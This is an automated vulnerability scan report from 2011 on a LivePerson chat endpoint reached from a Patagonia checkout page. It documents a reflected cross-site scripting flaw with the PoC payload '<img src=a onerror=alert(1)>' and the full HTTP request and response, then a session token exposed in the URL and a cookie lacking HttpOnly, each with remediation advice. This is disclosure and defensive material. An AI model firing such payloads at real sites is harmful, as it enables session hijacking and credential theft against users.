CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Fri Apr 01 09:31:23 CDT 2011.

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1. Cross-site scripting (reflected) next

Summary

Severity:	High
Confidence:	Certain
Host:	http://sales.liveperson.net
Path:	/hc/47760958/

Issue detail

The value of the msessionkey request parameter is copied into the HTML document as plain text between tags. The payload b58c4<img%20src%3da%20onerror%3dalert(1)>c90d439cf74 was submitted in the msessionkey parameter. This input was echoed as b58c4<img src=a onerror=alert(1)>c90d439cf74 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /hc/47760958/?&visitor=44502044936234&msessionkey=958751430488923974b58c4<img%20src%3da%20onerror%3dalert(1)>c90d439cf74&siteContainer=STANDALONE&site=47760958&cmd=mTagKnockPage&lpCallId=567691054427-391906758537&protV=20&lpjson=1&id=9478395042&javaSupport=true&visitorStatus=INSITE_STATUS&dbut=chat-top-holster%7ClpMTagConfig.db1%7Cholster-chat%7C HTTP/1.1
Host: sales.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.patagonia.com/us/order/us/shopcart.jsp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=958751430488923974; HumanClickSiteContainerID_47760958=STANDALONE; LivePersonID=LP i=44502044936234,d=1297806164

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 17:34:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickKEY=958751430488923974b58c4<img src=a onerror=alert(1)>c90d439cf74; path=/hc/47760958
Set-Cookie: HumanClickKEY=958751430488923974b58c4<img src=a onerror=alert(1)>c90d439cf74; path=/hc/47760958
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sun, 27 Mar 2011 17:34:48 GMT
Set-Cookie: HumanClickSiteContainerID_47760958=STANDALONE; path=/hc/47760958
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 29170

lpConnLib.Process({"ResultSet": {"lpCallId":"567691054427-391906758537","lpCallConfirm":"","lpJS_Execute":[{"code_id": "webServerOverride", "js_code": "if (lpMTagConfig.lpServer != 'sales.liveperson.n
...[SNIP]...
"code_id": "FPCookie", "js_code": "lpMTagConfig.FPC_VID_NAME='47760958-VID'; lpMTagConfig.FPC_VID='44502044936234'; lpMTagConfig.FPC_SKEY_NAME='47760958-SKEY'; lpMTagConfig.FPC_SKEY='958751430488923974b58c4<img src=a onerror=alert(1)>c90d439cf74';lpMTagConfig.FPC_CONT_NAME='HumanClickSiteContainerID_47760958'; lpMTagConfig.FPC_CONT='STANDALONE'"},{"code_id": "SYSTEM!firstpartycookies_compact.js", "js_code": "function lpFirstPartyCookieSupport
...[SNIP]...

2. Session token in URL previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	http://sales.liveperson.net
Path:	/hc/47760958/

Issue detail

The URL in the request appears to contain a session token within the query string:

http://sales.liveperson.net/hc/47760958/?&visitor=44502044936234&msessionkey=958751430488923974&site=47760958&cmd=mTagRejectChat&lpCallId=125739288516-448137031402&protV=20&lpjson=1&page=http%3A//www.patagonia.com/us/order/us/shopcart.jsp&id=6912616307&javaSupport=true&visitorStatus=REJECT_STATUS&defInvite=chat-sales-patagonia-english&activePlugin=none&cobrowse=true&title=Patagonia%3A%20Checkout%20-%20Review%20Your%20Order&referrer=http%3A//www.patagonia.com/us/product/patagonia-mens-baggies-shorts%3Fp%3D57019-0-485&cobrowse=true&channel=web&t=1

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /hc/47760958/?&visitor=44502044936234&msessionkey=958751430488923974&site=47760958&cmd=mTagRejectChat&lpCallId=125739288516-448137031402&protV=20&lpjson=1&page=http%3A//www.patagonia.com/us/order/us/shopcart.jsp&id=6912616307&javaSupport=true&visitorStatus=REJECT_STATUS&defInvite=chat-sales-patagonia-english&activePlugin=none&cobrowse=true&title=Patagonia%3A%20Checkout%20-%20Review%20Your%20Order&referrer=http%3A//www.patagonia.com/us/product/patagonia-mens-baggies-shorts%3Fp%3D57019-0-485&cobrowse=true&channel=web&t=1 HTTP/1.1
Host: sales.liveperson.net
Proxy-Connection: keep-alive
Referer: http://www.patagonia.com/us/order/us/shopcart.jsp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: HumanClickKEY=958751430488923974; HumanClickSiteContainerID_47760958=STANDALONE; LivePersonID=LP i=44502044936234,d=1297806164

Response

HTTP/1.1 200 OK
Date: Sun, 27 Mar 2011 17:33:49 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Sun, 27 Mar 2011 17:33:49 GMT
Set-Cookie: HumanClickSiteContainerID_47760958=STANDALONE; path=/hc/47760958
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 94

lpConnLib.Process({"ResultSet": {"lpCallId":"125739288516-448137031402","lpCallConfirm":""}});

3. Cookie without HttpOnly flag set previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sales.liveperson.net
Path:	/hc/47760958/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

HumanClickSiteContainerID_47760958=STANDALONE; path=/hc/47760958

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

Report generated by XSS.CX at Fri Apr 01 09:31:23 CDT 2011.